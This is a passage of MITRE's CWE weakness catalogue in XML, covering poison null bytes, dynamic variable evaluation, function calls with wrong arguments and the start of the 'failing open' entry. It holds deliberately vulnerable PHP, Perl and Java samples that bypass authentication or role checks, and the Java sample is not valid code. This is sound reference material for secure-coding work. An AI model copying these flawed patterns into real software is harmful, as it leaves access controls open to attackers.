					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Sanitize untrusted data passed to a regex </Mapped_Node_Name>
					          <Mapped_Node_ID>IDS08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="626" Name="Null Byte Interaction Error (Poison Null Byte)" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not properly handle null bytes or NUL
					characters when passing data between different representations or
					components.</Description_Summary>
				        <Extended_Description>
					          <Text>A null byte (NUL character) can have different meanings across
						representations or languages. For example, it is a string terminator in
						standard C libraries, but Perl and PHP strings do not treat it as a
						terminator. When two representations are crossed - such as when Perl or PHP
						invokes underlying C functionality - this can produce an interaction error
						with unexpected results. Similar issues have been reported for ASP. Other
						interpreters written in C might also be affected.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
					          <Language Language_Name="Perl"/>
					          <Language Language_Name="ASP.NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The poison null byte is frequently useful in path traversal attacks by
						terminating hard-coded extensions that are added to a filename. It can play
						a role in regular expression processing in PHP.</Text>
					          <Text>There are not many CVE examples, because the poison NULL byte is</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>a design limitation, which typically is not included in CVE by itself;
							and</Text>
						            <Text>it is typically used as a facilitator manipulation to widen the scope
							of potential attacks against other vulnerabilities.</Text>
					          </Block>
					          <Text>Current (2007) usage of "poison null byte" is typically related to this
						C/Perl/PHP interaction error, but the original term in 1998 was applied to
						an off-by-one buffer overflow involving a null byte.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove null bytes from all incoming strings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4155</Observed_Example_Reference>
					          <Observed_Example_Description>NUL byte bypasses PHP regular expression
						check</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3153</Observed_Example_Reference>
					          <Observed_Example_Description>inserting SQL after a NUL byte bypasses whitelist
						regexp, enabling SQL injection</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Rain Forest Puppy</Reference_Author>
					          <Reference_Title>Poison NULL byte</Reference_Title>
					          <Reference_Publication>Phrack 55</Reference_Publication>
					          <Reference_Link>http://insecure.org/news/P55-07.txt</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Brett Moore</Reference_Author>
					          <Reference_Title>0x00 vs ASP file upload scripts</Reference_Title>
					          <Reference_Link>http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>ShAnKaR</Reference_Author>
					          <Reference_Title>ShAnKaR: multiple PHP application poison NULL byte
						vulnerability</Reference_Title>
					          <Reference_Link>http://seclists.org/fulldisclosure/2006/Sep/0185.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Relationships,
						Observed_Example, Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="627" Name="Dynamic Variable Evaluation" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>In a language where the user can influence the name of a
					variable at runtime, if the variable names are not controlled, an attacker can
					read or write to arbitrary variables, or access arbitrary
					functions.</Description_Summary>
				        <Extended_Description>
					          <Text>The resultant vulnerabilities depend on the behavior of the application,
						both at the crossover point and in any control/data flow that is reachable
						by the related variables or functions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>621</Relationship_Target_ID>
					          <!--Variable Extraction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>183</Relationship_Target_ID>
					          <!--Permissive Whitelist-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="PHP"/>
					          <Language Language_Name="Perl"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Many interpreted languages support the use of a "$$varname" construct to
						set a variable whose name is specified by the $varname variable. In PHP,
						these are referred to as "variable variables." Functions might also be
						invoked using similar syntax, such as $$funcname(arg1, arg2).</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Dynamic evaluation</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain unauthorized access to variables and execute
							arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid dynamic evaluation whenever possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use only whitelists of acceptable variable or function names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For function names, ensure that you are only calling functions that
							accept the proper number of arguments, to avoid unexpected null
							arguments.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied, probably under-reported. Few researchers look for this
						issue; most public reports are for PHP, although other languages are
						affected. This issue is likely to grow in PHP as developers begin to
						implement functionality in place of register_globals.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Steve Christey</Reference_Author>
					          <Reference_Title>Dynamic Evaluation Vulnerabilities in PHP
						applications</Reference_Title>
					          <Reference_Publication>Full-Disclosure</Reference_Publication>
					          <Reference_Date>2006-05-03</Reference_Date>
					          <Reference_Link>http://seclists.org/fulldisclosure/2006/May/0035.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Shaun Clowes</Reference_Author>
					          <Reference_Title>A Study In Scarlet: Exploiting Common Vulnerabilities in PHP
						Applications</Reference_Title>
					          <Reference_Link>http://www.securereality.com.au/studyinscarlet.txt</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="628" Name="Function Call with Incorrectly Specified Arguments" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product calls a function, procedure, or routine with
					arguments that are not correctly specified, leading to always-incorrect behavior
					and resultant weaknesses.</Description_Summary>
				        <Extended_Description>
					          <Text>There are multiple ways in which this weakness can be introduced,
						including:</Text>
					          <Block Block_Nature="List">
						            <Text>the wrong variable or reference;</Text>
						            <Text>an incorrect number of arguments;</Text>
						            <Text>incorrect order of arguments;</Text>
						            <Text>wrong type of arguments; or</Text>
						            <Text>wrong value.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>559</Relationship_Target_ID>
					          <!--Often Misused: Arguments and Parameters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>736</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>737</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
					          <Ordinality_Description>
						            <Text>This is usually primary to other weaknesses, but it can be resultant
							if the function's API or function prototype changes. </Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can cause unintended behavior and can lead to additional
							weaknesses such as allowing an attacker to gain unintended access to
							system resources.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Other</Method_Name>
					          <Method_Description>
						            <Text>Since these bugs typically introduce obviously incorrect behavior,
							they are found quickly, unless they occur in rarely-tested code paths.
							Managing the correct number of arguments can be made more difficult in
							cases where format strings are used, or when variable numbers of
							arguments are supported.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Once found, these issues are easy to fix. Use code inspection tools
							and relevant compiler features to identify potential violations. Pay
							special attention to code that is not likely to be exercised heavily
							during QA.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure your API's are stable before you use them in production
							code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-62">
					          <Intro_Text>The following PHP method authenticates a user given a
						username/password combination but is called with the parameters in reverse
						order.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function authenticate($username, $password) {</Code>
							              <Block>
								                <Comment>// authenticate user</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>authenticate($_POST['password'], $_POST['username']);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-63">
					          <Intro_Text>This Perl code intends to record whether a user authenticated
						successfully or not, and to exit if the user fails to authenticate. However,
						when it calls ReportAuth(), the third argument is specified as 0 instead of
						1, so it does not exit.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>sub ReportAuth {</Code>
							              <Block>
								                <Code>my ($username, $result, $fatal) = @_;</Code>
								                <Code>PrintLog("auth: username=%s, result=%d", $username,
									$result);</Code>
								                <Code>if (($result ne "success") &amp;&amp; $fatal) {</Code>
								                <Block>
									                  <Code>die "Failed!\n";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>sub PrivilegedFunc</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>my $result = CheckAuth($username);</Code>
								                <Code>ReportAuth($username, $result, 0);</Code>
								                <Code>DoReallyImportantStuff();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-64">
					          <Intro_Text>In the following Java snippet, the accessGranted() method is
						accidentally called with the static ADMIN_ROLES array rather than the user
						roles.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private static final String[] ADMIN_ROLES = ...;</Code>
							              <Code>public boolean void accessGranted(String resource, String user)
								{</Code>
							              <Block>
								                <Code>String[] userRoles = getUserRoles(user);</Code>
								                <Code>return accessGranted(resource, ADMIN_ROLES);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>private boolean void accessGranted(String resource, String[]
								userRoles) {</Code>
							              <Block>
								                <Comment>// grant or deny access based on user roles</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7049</Observed_Example_Reference>
					          <Observed_Example_Description>The method calls the functions with the wrong
						argument order, which allows remote attackers to bypass intended access
						restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Maintain the contract between the writer and caller of
						variadic functions</Mapped_Node_Name>
					          <Mapped_Node_ID>DCL10-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Call functions with the arguments intended by the
						API</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use realloc() only to resize dynamically allocated
						arrays</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM08-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Incorrectly Specified
						Arguments</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="636" Name="Not Failing Securely ('Failing Open')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>When the product encounters an error condition or failure, its
					design requires it to fall back to a state that is less secure than other
					options that are available, such as selecting the weakest encryption algorithm
					or using the most permissive access control restrictions.</Description_Summary>
				        <Extended_Description>
					          <Text>By entering a less secure state, the product inherits the weaknesses
						associated with that state, making it easier to compromise. At the least, it
						causes administrators to have a false sense of security. This weakness
						typically occurs as a result of wanting to "fail functional" to minimize
						administration and support costs, instead of "failing safe."</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
